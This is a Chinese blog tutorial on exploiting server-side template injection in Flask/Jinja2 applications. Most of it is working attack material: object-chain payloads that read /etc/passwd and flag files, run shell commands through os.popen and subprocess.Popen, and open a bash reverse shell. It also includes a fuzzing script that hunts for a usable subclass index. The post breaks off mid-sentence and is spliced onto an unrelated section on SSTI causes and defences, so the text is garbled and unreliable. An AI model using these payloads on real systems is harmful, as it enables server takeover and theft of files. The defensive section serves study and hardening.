SSTI漏洞学习(下)——Flask/Jinja模板引擎的相关绕过

本文详细介绍了如何在Python中寻找SSTI攻击载荷,包括通过魔术方法获取基本类、重载__init__方法、利用Flask/Jinja模块绕过限制,以及各种技巧和绕过手段,如字符串表示法、字典操作、对象元素获取和请求注入。

0x01 再看寻找Python SSTI攻击载荷的过程

获取基本类

对于返回的是定义的Class内的话:
__dict__   //返回类中的函数和属性,父类子类互不影响
__base__ //返回类的父类 python3
__mro__ //返回类继承的元组,(寻找父类) python3
__init__ //返回类的初始化方法   
__subclasses__()  //返回类中仍然可用的引用  python3
__globals__  //对包含函数全局变量的字典的引用 python3
对于返回的是类实例的话:
__class__ //返回实例的对象,可以使类实例指向Class,使用上面的魔术方法
''.__class__.__mro__[2]
{}.__class__.__bases__[0]
().__class__.__bases__[0]
[].__class__.__bases__[0]

此外,在引入了Flask/Jinja的相关模块后还可以通过

config
request
url_for
get_flashed_messages
self
redirect

等获取基本类,

获取基本类后,继续向下获取基本类(object)的子类

object.__subclasses__()

找到重载过的__init__

在获取初始化属性后,带wrapper的说明没有重载,寻找不带warpper的

也可以利用.index()去找file,warnings.catch_warnings

>>> ''.__class__.__mro__[2].__subclasses__()[99].__init__
<slot wrapper '__init__' of 'object' objects>
>>> ''.__class__.__mro__[2].__subclasses__()[59].__init__
<unbound method WarningMessage.__init__>

查看其引用__builtins__

''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']

这里会返回dict类型,寻找keys中可用函数,直接调用即可,使用keys中的file等函数来实现读取文件的功能

''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['file']('/etc/passwd').read()

常用的目标函数有这么几个

file
subprocess.Popen
os.popen
exec
eval

常用的中间对象有这么几个

catch_warnings.__init__.func_globals.linecache.os.popen('bash -i >& /dev/tcp/127.0.0.1/233 0>&1')
lipsum.__globals__.__builtins__.open("/flag").read()
linecache.os.system('ls')

更多的可利用类可以通过遍历筛选的方式找到

比如对subprocess.Popen我们可以构造如下fuzz脚本

import requests

url = ""

index = 0
for i in range(100, 1000):
    #print i
    payload = "{
  
  {''.__class__.__mro__[2].__subclasses__()[%d]}}" % (i)
    params = {
        "search": payload
    }
    #print(params)
    req = requests.get(url,params=params)
    #print(req.text)
    if "subprocess.Popen" in req.text:
        index = i
        break


print("index of subprocess.Popen:" + str(index))
print("payload:{
  
  {''.__class__.__mro__[2].__subclasses__()[%d]('ls',shell=True,stdout=-1).communicate()[0].strip()}}" % i)

那么我们也可以利用{

### Jinja2 模板 SSTI 漏洞原理 Jinja2 是一种广泛使用的 Python 模板引擎,允许开发者通过模板文件动态生成 HTML 页面或其他类型的文本输出。然而,在某些情况下,如果应用程序未能正确处理用户输入并将其传递给模板引擎,则可能导致服务器端模板注入 (SSTI) 漏洞。 当存在 SSTI 漏洞时,攻击者可以向 Web 应用程序发送恶意构造的数据作为参数或 URL 查询字符串的一部分。这些数据随后被嵌入到模板上下文中执行[^1]。由于 Jinja2 支持丰富的表达式语法以及访问 Python 对象的能力,一旦成功触发 SSTI,攻击者可能获得对整个应用环境甚至底层操作系统的完全控制权限。 #### 示例代码展示潜在风险: ```python from flask import Flask, render_template_string app = Flask(__name__) @app.route('/unsafe/<string:name>') def unsafe(name): template = f'Hello {name}' # 用户可控的内容直接拼接到模板中 return render_template_string(template) if __name__ == '__main__': app.run(debug=True) ``` 上述例子展示了不安全的做法——未经验证就将来自用户的 `name` 参数值插入到了模板字符串里。这使得任何能够影响此路由请求的人都有机会尝试注入有害指令来操纵响应内容[^3]。 ### 防御措施建议 为了防止此类漏洞的发生,应当遵循以下最佳实践原则: - **避免直接使用不可信源提供的模板片段**:永远不要让用户提交完整的模板代码;只接受预定义好的占位符名称,并严格限定其作用范围。 - **启用沙盒模式**:对于确实需要支持一定程度自定义化的场景下,可以通过配置开启 Jinja2 的 sandboxed environment 功能,从而限制可调用函数集和属性访问路径。 - **过滤特殊字符**:确保所有外部传入的信息都经过适当转义处理后再参与最终页面构建过程,特别是那些用于构成条件判断、循环结构等逻辑部分的关键字。 - **定期审查依赖库版本更新日志**:及时跟进官方发布的补丁信息,修补已知的安全隐患。 综上所述,虽然 SSTI 可能带来严重的后果,但只要采取合理的预防手段就能有效降低遭受攻击的风险。
评论 1
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

AI小模型

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值